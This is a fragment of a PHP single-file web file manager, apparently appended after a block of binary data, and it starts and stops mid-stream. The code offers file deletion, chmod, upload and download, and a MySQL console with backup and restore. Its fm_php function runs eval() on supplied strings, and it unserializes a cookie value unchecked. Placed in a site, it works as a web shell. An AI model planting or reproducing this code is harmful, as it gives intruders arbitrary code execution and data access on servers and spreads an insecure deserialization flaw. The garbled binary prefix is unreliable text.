`ÉfwéGÊË-ElêØVkúÕ"ƒ»´Ëº±i¡nR³¹o9»ã jª2qwiX½ùÔ¤bsËT¬Â­7PW£]ÚuØ´Âz©IÊŽ­b›Ã§¨¡.íÚ]JªMÓ‚ÜRÄfO½±ú5Ö¥ÖŠ—°iÕÔ³{Æ’PãY©‰"Å“UÙ\Ú°ÊM«÷ûýFch““MíXóÃ9ߣÊ`Úôg*º¢À[÷œ õO†ÃáÊAzÙ¬GÂcnBPÃÀÞ8ð»Õ3ÆA¬K96D¶‹’^6{FèMì¡ 7žÂmM°ÃRÃ…ZñºØv|l~5‰Ùî,¶ŠƒÈæ¿í†Ôh—:ûƶ“ ¶’ÊMŸqÙ°šƦˆÃ;¶¥Ší˜¯6gv\„M®9!€M &/›Òr–mü¢"USÈa{åæ°íVÓÊfoäÂ;àf3¸L LMïúB¶~Û*¶R%€„ßï[Kb´¶©¡rkX›+´EÃ6]/Zÿyá–A^6Ød×Õ ¾©Xy …j ddv true, 'new_file' => true, 'upload_file' => true, 'show_dir_size' => false, //if true, show directory size → maybe slow 'show_img' => true, 'show_php_ver' => true, 'show_php_ini' => false, // show path to current php.ini 'show_gt' => true, // show generation time 'enable_php_console' => true, 'enable_sql_console' => true, 'sql_server' => 'localhost', 'sql_username' => 'root', 'sql_password' => '', 'sql_db' => 'test_base', 'enable_proxy' => true, 'show_phpinfo' => true, 'show_xls' => true, 'fm_settings' => true, 'restore_time' => true, 'fm_restore_time' => false, ); if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config; else $fm_config = unserialize($_COOKIE['fm_config']); // Change language if (isset($_POST['fm_lang'])) { setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization'])); $_COOKIE['fm_lang'] = $_POST['fm_lang']; } $language = $default_language; // Detect browser language if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){ $lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']); if (!empty($lang_priority)){ foreach ($lang_priority as $lang_arr){ $lng = explode(';', $lang_arr); $lng = $lng[0]; if(in_array($lng,$langs)){ $language = $lng; break; } } } } // Cookie language is primary for ever $language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang']; //translation function __($text){ global $lang; if (isset($lang[$text])) return $lang[$text]; else return $text; }; //delete files and dirs recursively function fm_del_files($file, $recursive = false) { if($recursive && @is_dir($file)) { $els = fm_scan_dir($file, '', '', true); foreach ($els as $el) { if($el != '.' && $el != '..'){ fm_del_files($file . '/' . $el, true); } } } if(@is_dir($file)) { return rmdir($file); } else { return @unlink($file); } } //file perms function fm_rights_string($file, $if = false){ $perms = fileperms($file); $info = ''; if(!$if){ if (($perms & 0xC000) == 0xC000) { //Socket $info = 's'; } elseif (($perms & 0xA000) == 0xA000) { //Symbolic Link $info = 'l'; } elseif (($perms & 0x8000) == 0x8000) { //Regular $info = '-'; } elseif (($perms & 0x6000) == 0x6000) { //Block special $info = 'b'; } elseif (($perms & 0x4000) == 0x4000) { //Directory $info = 'd'; } elseif (($perms & 0x2000) == 0x2000) { //Character special $info = 'c'; } elseif (($perms & 0x1000) == 0x1000) { //FIFO pipe $info = 'p'; } else { //Unknown $info = 'u'; } } //Owner $info .= (($perms & 0x0100) ? 'r' : '-'); $info .= (($perms & 0x0080) ? 'w' : '-'); $info .= (($perms & 0x0040) ? (($perms & 0x0800) ? 's' : 'x' ) : (($perms & 0x0800) ? 'S' : '-')); //Group $info .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); //World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } function fm_convert_rights($mode) { $mode = str_pad($mode,9,'-'); $trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1'); $mode = strtr($mode,$trans); $newmode = '0'; $owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; $group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; $world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; $newmode .= $owner . $group . $world; return intval($newmode, 8); } function fm_chmod($file, $val, $rec = false) { $res = @chmod(realpath($file), $val); if(@is_dir($file) && $rec){ $els = fm_scan_dir($file); foreach ($els as $el) { $res = $res && fm_chmod($file . '/' . $el, $val, true); } } return $res; } //load files function fm_download($file_name) { if (!empty($file_name)) { if (file_exists($file_name)) { header("Content-Disposition: attachment; filename=" . basename($file_name)); header("Content-Type: application/xml"); $fp = fopen($file_name, "r"); while (!feof($fp)) { echo fread($fp, 65536); flush(); // this is essential for large downloads } fclose($fp); die(); } else { header('HTTP/1.0 404 Not Found', true, 404); header('Status: 404 Not Found'); die(); } } } //show folder size function fm_dir_size($f,$format=true) { if($format) { $size=fm_dir_size($f,false); if($size<=1024) return $size.' bytes'; elseif($size<=1024*1024) return round($size/(1024),2).' Kb'; elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).' Mb'; elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).' Gb'; elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).' Tb'; //:))) else return round($size/(1024*1024*1024*1024*1024),2).' Pb'; // ;-) } else { if(is_file($f)) return filesize($f); $size=0; $dh=opendir($f); while(($file=readdir($dh))!==false) { if($file=='.' || $file=='..') continue; if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file); else $size+=fm_dir_size($f.'/'.$file,false); } closedir($dh); return $size+filesize($f); } } //scan directory function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) { $dir = $ndir = array(); if(!empty($exp)){ $exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/'; } if(!empty($type) && $type !== 'all'){ $func = 'is_' . $type; } if(@is_dir($directory)){ $fh = opendir($directory); while (false !== ($filename = readdir($fh))) { if(substr($filename, 0, 1) != '.' || $do_not_filter) { if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){ $dir[] = $filename; } } } closedir($fh); natsort($dir); } return $dir; } function fm_link($get,$link,$name,$title='') { if (empty($title)) $title=$name.' '.basename($link); return '  '.$name.''; } function fm_arr_to_option($arr,$n,$sel=''){ foreach($arr as $v){ $b=$v[$n]; $res.=''; } return $res; } function fm_lang_form ($current='en'){ return '
'; } function fm_root($dirname){ return ($dirname=='.' OR $dirname=='..'); } function fm_php($string){ $display_errors=ini_get('display_errors'); ini_set('display_errors', '1'); ob_start(); eval(trim($string)); $text = ob_get_contents(); ob_end_clean(); ini_set('display_errors', $display_errors); return $text; } //SHOW DATABASES function fm_sql_connect(){ global $fm_config; return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']); } function fm_sql($query){ global $fm_config; $query=trim($query); ob_start(); $connection = fm_sql_connect(); if ($connection->connect_error) { ob_end_clean(); return $connection->connect_error; } $connection->set_charset('utf8'); $queried = mysqli_query($connection,$query); if ($queried===false) { ob_end_clean(); return mysqli_error($connection); } else { if(!empty($queried)){ while($row = mysqli_fetch_assoc($queried)) { $query_result[]= $row; } } $vdump=empty($query_result)?'':var_export($query_result,true); ob_end_clean(); $connection->close(); return '
'.stripslashes($vdump).'
'; } } function fm_backup_tables($tables = '*', $full_backup = true) { global $path; $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; if($tables == '*') { $tables = array(); $result = $mysqldb->query('SHOW TABLES'); while($row = mysqli_fetch_row($result)) { $tables[] = $row[0]; } } else { $tables = is_array($tables) ? $tables : explode(',',$tables); } $return=''; foreach($tables as $table) { $result = $mysqldb->query('SELECT * FROM '.$table); $num_fields = mysqli_num_fields($result); $return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter; $row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table)); $return.=$row2[1].$delimiter; if ($full_backup) { for ($i = 0; $i < $num_fields; $i++) { while($row = mysqli_fetch_row($result)) { $return.= 'INSERT INTO `'.$table.'` VALUES('; for($j=0; $j<$num_fields; $j++) { $row[$j] = addslashes($row[$j]); $row[$j] = str_replace("\n","\\n",$row[$j]); if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; } if ($j<($num_fields-1)) { $return.= ','; } } $return.= ')'.$delimiter; } } } else { $return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return); } $return.="\n\n\n"; } //save file $file=gmdate("Y-m-d_H-i-s",time()).'.sql'; $handle = fopen($file,'w+'); fwrite($handle,$return); fclose($handle); $alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path . '\'"'; return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' ' . __('Delete') . ''; } function fm_restore_tables($sqlFileToExecute) { $mysqldb = fm_sql_connect(); $delimiter = "; \n \n"; // Load and explode the sql file $f = fopen($sqlFileToExecute,"r+"); $sqlFile = fread($f,filesize($sqlFileToExecute)); $sqlArray = explode($delimiter,$sqlFile); //Process the sql file by statements foreach ($sqlArray as $stmt) { if (strlen($stmt)>3){ $result = $mysqldb->query($stmt); if (!$result){ $sqlErrorCode = mysqli_errno($mysqldb->connection); $sqlErrorText = mysqli_error($mysqldb->connection); $sqlStmt = $stmt; break; } } } if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute; else return $sqlErrorText.'
'.$stmt; } function fm_img_link($filename){ return './'.basename(__FILE__).'?img='.base64_encode($filename); } function fm_home_style(){ return ' input, input.fm_input { text-indent: 2px; } input, textarea, select, input.fm_input { color: black; font: normal 8pt Verdana, Arial, Helvetica, sans-serif; border-color: black; background-color: #FCFCFC none !important; border-radius: 0; padding: 2px; } input.fm_input { background: #FCFCFC none !important; cursor: pointer; } .home { background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg=="); background-repeat: no-repeat; }'; } function fm_config_checkbox_row($name,$value) { global $fm_config; return '